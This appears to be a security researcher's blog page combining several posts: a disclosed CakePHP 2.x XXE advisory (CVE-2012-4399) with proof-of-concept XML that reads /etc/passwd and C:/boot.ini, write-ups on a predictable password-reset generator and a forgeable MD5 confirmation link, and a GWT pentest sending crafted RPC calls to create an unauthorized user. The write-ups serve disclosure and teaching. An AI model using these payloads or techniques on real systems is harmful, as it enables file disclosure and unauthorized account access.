CakePHP 2.x XXE injection

# Exploit title: CakePHP XXE injection # Date: 01.07.2012

# Software Link: http://www.cakephp.org # Vulnerable version: 2.x - 2.2.0-RC2

# Tested on: Windows and Linux # CVE: CVE-2012-4399 # Author: Pawel Wylecial

# http://h0wl.pl

1. Background

Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."

2. Vulnerability

CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.

3. Proof of Concept

Linux:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>
</request>

4. Fix

Fix applied in version 2.2.1 and 2.1.5. See official security release:
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1

5. Timeline

1.07.2012 - vulnerability reported
13.07.2012 - response from CakePHP
14.07.2012 - confirmed and fix release

How to NOT implement password reminder function

A quick post about my recent discovery. I created an account on a some website and wanted to get my password reminded. There was only one step - provide e-mail address used to register.

My first suprise was that the password was changed immediately without any confirmation. That means if i only knew a person e-mail i could change his password !

Second surprise was the pattern that emerged when i generated few passwords (for different accounts with different passwords):

XS?dh*96
NJ*fz!45
KX$mm!73
ZE*wx*98
PJ*fg?93
ZC?gb?4
JU!ig*80
YZ*vz@95
DD@fy@70
MX*em%72
DM%cn%17

[2 upper letters][special char][2 lower letters][special char][number max 2 digit].

Can you spot the problem ?

• I am able to change someone's password knowing only his e-mail,
• I know the generation pattern for this new password.

Based on those rules we are able to generate a dictionary file, and try to crack the password. However in this case it is not critical beacuse this is a webapplication. We have:
26 x 26 x 6 x 26 x 26 x 100 = 274185600 possible combinations, so the dictionary file would be around 2.2 GB size. Yep, it seems like a lot of time, but in case of flaws in the randomness of the string generation we could probally shorten the amount of time needed to crack it - i need to examine it deeper. To sum up, it does not seem to be a threat (for now) but those patterns definitely should have not appear in that function.

How to NOT generate confirmation links

Today i registered an account at some company website. As usual i got an confirmation e-mail to click on, so my account would be activated.It looked like this:

part of activation e-mail i received.

So my first thought was to check this md5 hash ! :)

Using google i quickly got an answer:

md5 hash and the source string.

Hm.. interesting, so it looks like the pattern is 'mw' string + login. Let's verify this.

First step is creating an account with non existant e-mail address.

our fake input data.

Next we generate a md5 hash for 'mwthisisfake' string and pasting the crafted url to the browser.

confirmation link generated by us.

Success!

Registration confirmation info.

So let's see if we can log in.

Logged in as thisisfake user.

Ok, so i managed to skip the e-mail verification - what's so bad about it ?

First obvious conclusion is that users can create accounts without using a valid e-mail address.Also it is easier to write a script for automatic user generation (no e-mail, no captcha verification). User login enumeration is possible too. This is just a registration confirmation link, imagine what would happen if reset password function had this vulnerability (and i've seen it happend before). I'll try to continue on this topic if i find more interesting examples.

GWT Web App Hacking

Intro
Recently i was performing a black box test of a web application. After initial reconnaissance i found nothing interesting. Basicly it was just a login screen... so i started WebScarab and sent some random credentials.
This is what i saw:

RPC Call authenticating user

This request is GWT (Google Web Toolkit) RPC Call. To get better understanding on the subject i highly recommend to read this great article. It will get really helpful when we would want to modify or send our own calls based only on method definition.

Enumeration
Ok, so i wrote about method definitions earlier. Right, we need to retrieve them from, a javascript file (usually obfuscated).JS file has a "nocache" pattern in its name, you will find the URL in page source. To retrieve those we will use a tool called gwtenum from GWT-Penetration-Testing-Toolset.

python gwtenum.py -u "https://example.com/xx.nocache.js"

As a result we get 50 methods like:

    DataService.ChangePass( java.lang.String/2004016611, ... ) *
    DataService.DeleteUser( java.lang.String/2004016611 )
    DataService.addUser( ... ) *
    DataService.getFirms( )

    

*Dots indicate longer list of paremeters. Now it got intersting... What we can do with this knowlegde? As seen on the first screenshot CheckUser() method was called. We can try to call methods from the list. If the application does not handle permissions correctly we will succeed. Our best wish is addUser() method - because we want to get in. First problem that appears is that we don't know the parameter order, in methods like DeleteUser() or getFirms() it's rather trivial, but addUser() takes 6 parameters - all string type.

Attack

Let's start with something easy, like calling getFirms(),  as we don't wan't to delete users from client productive system :). We start intercepting request again using WebScarab and transform CheckUser call into getFirms().

7|0|4|https://example.com/xx.xyz.Main/|185Bxxx|xx.xx.rpc.DataService|getFirms|1|2|3|4|0|

Results of getFirms() call - success !

We changed the parameters of the rpc call (explained in the article linked earlier) so it would not throw an exception and voila!

So, it's possible to call methods unauthorized - what about addUser() ? Since all parameters are strings let's just fill them out with the word 'pentest'.

7|0|7|https://example.com/xx.xyz.Main/|185Bxxx|xx.xx.rpc.DataService|addUser|java.lang.String|/2004016611|S|pentest|1|2|3|4|6|5|5|5|5|5|6|7|7|7|7|7|7|

Successful login with user/pass "pentest"!

We managed to create a user remotely on the sytem and were able to log in!

pwnt.